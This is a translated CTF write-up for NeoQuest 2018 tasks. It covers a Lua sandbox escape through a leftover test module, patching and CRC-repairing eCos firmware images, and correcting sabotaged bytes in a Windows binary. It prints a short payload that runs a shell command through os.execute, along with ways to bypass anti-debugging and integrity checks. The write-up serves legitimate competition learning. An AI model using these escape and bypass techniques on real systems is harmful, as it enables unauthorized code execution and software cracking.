NeoQuest 2018: Cheating Yes and Only

  • Tutorial

Good day to all. Last week, another in- person phase of NeoQuest ended . So it's time to publish a review of some tasks. I know many were waiting for this analysis, so I ask everyone interested in cat.

Infernal Reverse - My Role!

In the task, we were asked to download the binary, and get acquainted with its source code, to search for vulnerabilities in it, download and unpack it.

There is only one directory in the archive, and as you might guess, it contains the LUA source code taken from git . We look at what has been changed:

As you can see, a new larray.c file has been added , which seems to contain vulnerable code. Ok, now let's try to determine the location of the flag. Having connected to the server and pressing TAB twice, we see the FLAG __. TXT file in the current directory

. Challenge accepted.
In LUAfor sure you can execute console commands or just try to open the file. However, not everything is so simple, not only a new file was added to the source code, but also some functions were excluded:
git diff lbaselib.c
gh0st3rs@user-pc:lua$ git diff lbaselib.c
diff --git a/lbaselib.c b/lbaselib.c
index 00452f2..52ec9c6 100644
--- a/lbaselib.c
+++ b/lbaselib.c
@@ -480,18 +480,18 @@ static int luaB_tostring (lua_State *L) {
 static const luaL_Reg base_funcs[] = {
   {"assert", luaB_assert},
   {"collectgarbage", luaB_collectgarbage},
-  {"dofile", luaB_dofile},
+  // {"dofile", luaB_dofile},
   {"error", luaB_error},
   {"getmetatable", luaB_getmetatable},
   {"ipairs", luaB_ipairs},
-  {"loadfile", luaB_loadfile},
-  {"load", luaB_load},
+  // {"loadfile", luaB_loadfile},
+  // {"load", luaB_load},
-  {"loadstring", luaB_load},
+  // {"loadstring", luaB_load},
   {"next", luaB_next},
   {"pairs", luaB_pairs},
-  {"pcall", luaB_pcall},
+  // {"pcall", luaB_pcall},
   {"print", luaB_print},
   {"rawequal", luaB_rawequal},
   {"rawlen", luaB_rawlen},
@@ -502,7 +502,7 @@ static const luaL_Reg base_funcs[] = {
   {"tonumber", luaB_tonumber},
   {"tostring", luaB_tostring},
   {"type", luaB_type},
-  {"xpcall", luaB_xpcall},
+  // {"xpcall", luaB_xpcall},
   /* placeholders */
   {"_VERSION", NULL},

git diff linit.c
gh0st3rs@user-pc:lua$ git diff linit.c
diff --git a/linit.c b/linit.c
index 3c2b602..d7e03c9 100644
--- a/linit.c
+++ b/linit.c
@@ -41,17 +41,18 @@
 static const luaL_Reg loadedlibs[] = {
   {LUA_GNAME, luaopen_base},
-  {LUA_LOADLIBNAME, luaopen_package},
+  // {LUA_LOADLIBNAME, luaopen_package},
   {LUA_COLIBNAME, luaopen_coroutine},
   {LUA_TABLIBNAME, luaopen_table},
-  {LUA_IOLIBNAME, luaopen_io},
-  {LUA_OSLIBNAME, luaopen_os},
+  // {LUA_IOLIBNAME, luaopen_io},
+  // {LUA_OSLIBNAME, luaopen_os},
   {LUA_STRLIBNAME, luaopen_string},
   {LUA_MATHLIBNAME, luaopen_math},
   {LUA_UTF8LIBNAME, luaopen_utf8},
-  {LUA_DBLIBNAME, luaopen_debug},
+  // {LUA_DBLIBNAME, luaopen_debug},
 #if defined(LUA_COMPAT_BITLIB)
   {LUA_BITLIBNAME, luaopen_bit32},
+  {LUA_ARRAY, luaopen_array},

But looking at the changes in the makefile, you can see that the TESTS module was left intentionally or by mistake .
git diff makefile
gh0st3rs@user-pc:lua$ git diff makefile
diff --git a/makefile b/makefile
index 8160d4f..d9df7e8 100644
--- a/makefile
+++ b/makefile
@@ -53,12 +53,12 @@ LOCAL = $(TESTS) $(CWARNS) -g
 # enable Linux goodies
+MYCFLAGS= $(LOCAL) -std=c99 -DLUA_USE_LINUX -DLUA_COMPAT_5_2 -fPIE -fPIC # -fsanitize=address -fno-omit-frame-pointer 
+MYLDFLAGS= $(LOCAL) -Wl,-E # -fsanitize=address
 MYLIBS= -ldl -lreadline
-CC= clang-3.8
+CC= gcc # clang-5.0
 AR= ar rcu
 RANLIB= ranlib
@@ -74,7 +74,7 @@ LIBS = -lm
 CORE_T=        liblua.a
 CORE_O=        lapi.o lcode.o lctype.o ldebug.o ldo.o ldump.o lfunc.o lgc.o llex.o \
        lmem.o lobject.o lopcodes.o lparser.o lstate.o lstring.o ltable.o \
-       ltm.o lundump.o lvm.o lzio.o ltests.o
+       ltm.o lundump.o lvm.o lzio.o ltests.o larray.o
 AUX_O= lauxlib.o
 LIB_O= lbaselib.o ldblib.o liolib.o lmathlib.o loslib.o ltablib.o lstrlib.o \
        lutf8lib.o lbitlib.o loadlib.o lcorolib.o linit.o
@@ -194,5 +194,6 @@ lvm.o: lvm.c lprefix.h lua.h luaconf.h ldebug.h lstate.h lobject.h \
  ltable.h lvm.h
 lzio.o: lzio.c lprefix.h lua.h luaconf.h llimits.h lmem.h lstate.h \
  lobject.h ltm.h lzio.h
+larray.o: larray.c
 # (end of Makefile)

Googling how it can be used, we come to a simple code to extract the flag:
L1 = T.newstate()
a,b,c = T.doremote(L1, [[
	os = require'os';
	os.execute('cat FLAG__.TXT')

What the code does:
  1. First we initiate a new test context
  2. Then we load libraries for work with FS
  3. And through doremote we execute system commands in a test context

After execution, we get the key: c91a8674a726823e9edad1a4262da4be7f216d74

QEMU + Ecos = QEcos

This year also could not do without tasks with QEMU . In the task, 2 keys are hidden, finding which you could get +200 points. Let's get started: Having
downloaded all 3 files, let's start studying them:

The first thing you have to deal with is the changed byte order in the dump, it is easy to determine this by running the command:
$ strings dump.bin
:CCGbU( utnu3.6 1-0.ubu22utn.6 ) 0.371026040

In Python, this is solved quite simply:
import sys
fixed = open(sys.argv[2], 'wb')
dump = open(sys.argv[1], 'rb').read()
[fixed.write(dump[x:x + 4][::-1]) for x in range(0, len(dump), 4)]

After the conversion, you can work with the dump:

And so, we have 2 eCos images and a header, the images are separated by zeros. through dd we cut it into 3 parts, they will be needed further.
But in the beginning, let's try to run the first image to find out what is required of us:

After downloading, you need to enter the password, and if it turns out to be incorrect , we get the message: AUTH FAIL
Unpack the image and send it to the IDA. Further, through cross-references, we find a function that displays an error message:

We rise to the level above, where we see 2 conditions under which the check does not pass:

Case for small:
  • Patch these transitions
  • We archive the ecos.bin file and paste it into the unpacker
  • Using the mkimage utility we collect a new image for u-boot
  • And check the result

After starting a new image for any password, we get a message with a line that you need to enter in u-boot:
Auth process started ...


use this key in u-boot: 4a2 # * a11gpiun% 25

Enter and get another key (after taking the hash from the sha1 line): ddf5957cd43a3712e0c67d019a37223043ae6df5

PS As it turned out later, there was a vulnerability like race condition - it was necessary to change the combination during its verification

With the second key, everything is a little more complicated. If you try to run the second image (for this you need to collect the dump in this order: header -> image2 -> image1, or just change the boot parameters in u-boot), then the image will not load, but will swear at the wrong value CRC32:

After a long search , and also comparing the size of the image and the number of entries in the log, we find the following:
  1. Each block in the log is long: 0xE1
  2. Total blocks: 0x48D1
  3. Critical error occurred in block 0x2580
  4. It began with an offset in the block: [0x44, 0x47) i.e. 3 bytes

Comparing the block sizes with the actual position in the dump, we determine that in the second image, the ecos.bin.gz archive is corrupted. There is nothing left to do but remove the missing 3 bytes, having the original CRC32 image and the position in which the error occurred.
import sys
import binascii
import os
import subprocess
import struct
dump = open(sys.argv[1], 'rb').read()
crc1 = struct.unpack('>I', dump[24:28])[0]
for x in range(0xa2, -1, -1):
    for y in range(0xff, -1, -1):
        for z in range(0xff, -1, -1):
            number='%02x%02x%02x' % (x,y,z)
            crc = binascii.crc32(dump[0x40:START_OFFSET] + binascii.unhexlify(number.encode()) + dump[END_OFFSET:])
            if crc == crc1:
                print('Possible fix: %s' % number)
    print('Status: %s' % number)

Using the simplest script, we start the search, and after some time we get the right combination. Next, you can collect the dump and run it, or simply unzip the image and use grep to find the desired line:
$ strings ecos.bin | grep KEY
KEY: xs26k=b$km*8_mNf

Taking the sha1 hash from the received string, we get 1 more key: 35f6e7d0d65097f29ad74a7aaf991f2166b0a492


Then the authors became very confused and suggested that we find and correct the so-called typos in the code. I’ll give you a list of corrections right away, and then I’ll tell you how to find them:
Fix List Address: OldBytes: NewBytes
0x7c3: 75: 74
0x7f0: 9d: 9c
0x8bc: 75: 74
0xd86: 3e: 3f
0x277e: f1: ee
0x2ac1: 03: 02
0x2c79: 00 00 10: 10 04 00
0x3b19: 74: 70
0x3b73: 6A: 75
0x3b75 : 5f 5f: 6e 65
0x3be7: 77: 6f
0x52b0: 4f 4b: 4d 5a

Mistakes # 9 # 10

At the very beginning, the function check_cpu () is called in the main function at the address: 0x000000013FE517E7 : Here, the processor model is checked for compliance, but the line with which the comparison is performed is erroneous. In debugging, we see that the value should be true: GenuineIntel

Error # 11

Being in the function of generating the first key, we see that it is based on the line: A hecatwnicosachoron or 120-cell is a regular polychoron having 120 dodecahedral cells. google search, suggested its correct spelling: A hecatonicosachoron or 120-cell is a regular polychoron having 120 dodecahedral cells.
.text:000000013FE53323                 lea     rax, byte_13FE57030
.text:000000013FE5332A                 lea     rbp, aAHecatwnicosac ; "A hecatwnicosachoron or 120-cell is a r"...
.text:000000013FE53331                 sub     rbp, rax
.text:000000013FE53334                 mov     eax, 1

Error # 5

If you look below, we see the function call at the wrong offset:
.text:000000013FE5337D                 call    near ptr sub_13FE53070+3
.text:000000013FE53382                 movzx   ecx, [rsp+48h+arg_0]
.text:000000013FE53387                 inc     rbp

Error # 1

In the function at address 0x000000013FE51390 , the second key is generated:
During debugging, you can notice that the conditional transition, after the generation of the first part of the key, is not true:
.text:000000013FE513B9                 mov     rbx, rax
.text:000000013FE513BC                 call    sub_13FE53460
.text:000000013FE513C1                 test    eax, eax
.text:000000013FE513C3                 jnz     short loc_13FE513C9

Error # 2

The next thing that catches your eye, when you later look at this function, this is not a valid offset when calling a function that accesses the registry:
.text:000000013FE513EF                 call    near ptr get_SoftwareType+1
.text:000000013FE513F4                 test    eax, eax
.text:000000013FE513F6                 jz      short loc_13FE51415

Error # 6

Going deeper into the get_SoftwareType function , and checking the arguments of the RegOpenKeyExA function, we understand that the value: 0x80000003 clearly does not match HKEY_LOCAL_MACHINE :
.text:000000013FE536A9                 lea     rax, [rsp+0D8h+hkey]
.text:000000013FE536AE                 lea     rdx, SubKey     ; "SOFTWARE\\Microsoft\\Windows NT\\Curren"...
.text:000000013FE536B5                 mov     r9d, 20019h     ; samDesired
.text:000000013FE536BB                 xor     r8d, r8d        ; ulOptions
.text:000000013FE536BE                 mov     rcx, 0FFFFFFFF80000003h ; hKey
.text:000000013FE536C5                 mov     [rsp+0D8h+var_90], 64h
.text:000000013FE536CD                 mov     [rsp+0D8h+phkResult], rax ; phkResult
.text:000000013FE536D2                 call    cs:RegOpenKeyExA
.text:000000013FE536D8                 test    eax, eax

Error # 7

Scrolling through the second key generation function, to the next part, we see an attempt to get the home directory for the explorer.exe process , and it seems nothing is normal, but from the documentation, you can find out that the access mode is incorrect, and should be 0x410:
.text:000000013FE53871                 mov     r8d, [rsp+278h+pe.th32ProcessID] ; dwProcessId
.text:000000013FE53876                 xor     edx, edx        ; bInheritHandle
.text:000000013FE53878                 mov     ecx, 100000h    ; dwDesiredAccess
.text:000000013FE5387D                 call    cs:OpenProcess
.text:000000013FE53883                 mov     rbx, rax
.text:000000013FE53886                 test    rax, rax

Error # 3

When debugging the function that generates the third key, we notice one more incorrect conditional transition, as a result, the response from calling the file from resources is not taken into account:
.text:000000013FE514B1                 call    load_exe
.text:000000013FE514B6                 mov     rdi, rax
.text:000000013FE514B9                 test    rax, rax
.text:000000013FE514BC                 jnz     short loc_13FE514D7
.text:000000013FE514BE                 mov     rdx, [rsp+28h+a2] ; a2
.text:000000013FE514C3                 mov     r8, rbx         ; out_hash
.text:000000013FE514C6                 mov     rcx, rax        ; a1
.text:000000013FE514C9                 call    calc_sha

Error # 8

If you extract the tmp.exe file from resources , then a quick study makes it clear that the only argument it works with is -p :
.text:000000013FE51147                 call    memset
.text:000000013FE5114C                 xor     eax, eax
.text:000000013FE5114E                 lea     rdx, CommandLine ; "tmp.exe -t"
.text:000000013FE51155                 mov     [rsp+118h+ProcessInformation.hProcess], rax

Error # 12

When trying to extract the tmp.exe file from resources, we notice that it does not have the correct header, we fix OK on MZ and everything works:

Error # 4

It is strange that the second key completely duplicates the first, because as we recall, the result should be in the r15 register:
.text:000000013FE51872                 call    key2
.text:000000013FE51877                 mov     r15, rax

But that's not all in the process of debugging and patching, we come across a couple of protective measures. The first is IsDebuggerPresent explained to everyone :
.text:000000013FE517EE                 jz      short loc_13FE51844
.text:000000013FE517F0                 call    cs:IsDebuggerPresent
.text:000000013FE517F6                 test    eax, eax
.text:000000013FE517F8                 jz      short loc_13FE51856

The second is a file integrity check based on the sha1 hash:
.text:000000013FE516C3                 mov     dword ptr [rbp+original_hash], 0D8086BF9h
.text:000000013FE516CA                 mov     dword ptr [rbp+original_hash+4], 0AA45EFE5h
.text:000000013FE516D1                 mov     dword ptr [rbp+original_hash+8], 492519ECh
.text:000000013FE516D8                 mov     dword ptr [rbp+original_hash+0Ch], 212C9756h
.text:000000013FE516DF                 mov     [rbp+var_30], 5BB58EA1h
.text:000000013FE516E6                 mov     byte ptr [rbp+hash], bl
.text:000000013FE516E9                 mov     [rbp+hash+1], rax
.text:000000013FE516ED                 mov     [rbp+var_17], rax
.text:000000013FE516F1                 mov     [rbp+var_F], ax
.text:000000013FE516F5                 mov     [rbp+var_D], al
.text:000000013FE516F8                 call    calc_sha
.text:000000013FE516FD                 mov     rax, [rbp+hash]
.text:000000013FE51701                 cmp     rax, qword ptr [rbp+original_hash]

The integrity check function can either be killed with nop-s, or at the very end just fix the original hash.

After all these changes, we immediately get all 3 keys:
First key: 2A 93 E7 6A F5 BB E0 92 83 E5 99 E6 63 6D 04 1C 95 9B 3C D7
Second key: B2 D7 CC 3F 58 03 EB C6 4D 14 8E A6 AB 2E FC 10 DE B1 45 8D
Third key: DB 0D 81 6E 50 63 BA 13 65 2F 35 7B 1F 7C E9 FC 1E A1 C1 C6

Also popular now: